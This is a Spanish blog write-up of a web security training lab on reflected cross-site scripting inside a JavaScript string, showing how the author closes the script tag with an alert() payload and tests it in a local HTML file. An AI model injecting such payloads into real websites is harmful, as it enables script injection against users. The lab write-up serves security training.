Entrada

XSS Lab 18

XSS Lab 18

Skills

  • Reflected XSS into a JavaScript string with single quote and backslash escaped

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene un reflected XSS en la funcionalidad de seguimiento de la consulta de búsqueda. La vulnerabilidad ocurre dentro de una cadena de JavaScript con comillas simples. Para resolver este laboratorio, debemos realizar un ataque XSS que rompa la cadena de JavaScript y llame a la función alert(). Para ello, debemos aprovechar las características del lenguaje JavaScript para escapar correctamente de la cadena y ejecutar el código malicioso


Resolución

Al acceder a la web nos sale esto

Introducimos contenido en el cuadro de búsqueda

Observamos el código fuente y vemos que nuestro payload aparece entre comillas simples

Si intentamos usar el payload ' testing nos escapa la comilla simple

Si intentamos usar este payload \' testing y escapar la \ que nos escapa la ' tampoco nos deja, porque nos escapa también la \

Al introducir el payload <testing> nos damos cuenta de que no nos escapa los angle brackets <>

Debido a que las etiquetas <script> están dentro de un documento HTML podemos inyectar este payload </script><script>alert(1)</script> para cerrar la etiqueta <script> y posteriormente ejecutar la instrucción que nosotros deseemos

Para comprobar el funcionamiento nos abrimos vscode y nos creamos un documento HTML con este contenido

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
    <meta charset='utf-8'>
    <meta http-equiv='X-UA-Compatible' content='IE=edge'>
    <title>Page Title</title>
</head>
<body>
    <script>
        var x = '</script><script>alert(3)</script>';
        <h1>Funcionó !!!<h1>
    </script>
</body>
</html>

En la misma ruta en la que se encuentra este archivo nos montamos un servidor http, en mi caso lo he hecho con python -m http.server 80. Cuando accedemos a nuestro localhost nos encontramos que ha funcionado el payload, esto es el resultado del comportamiento del parsing del navegador cuando procesa el código HTML y JavaScript. Funciona también si el payload se inyecta entre comillas dobles (")

Esta entrada está licenciada bajo CC BY 4.0 por el autor.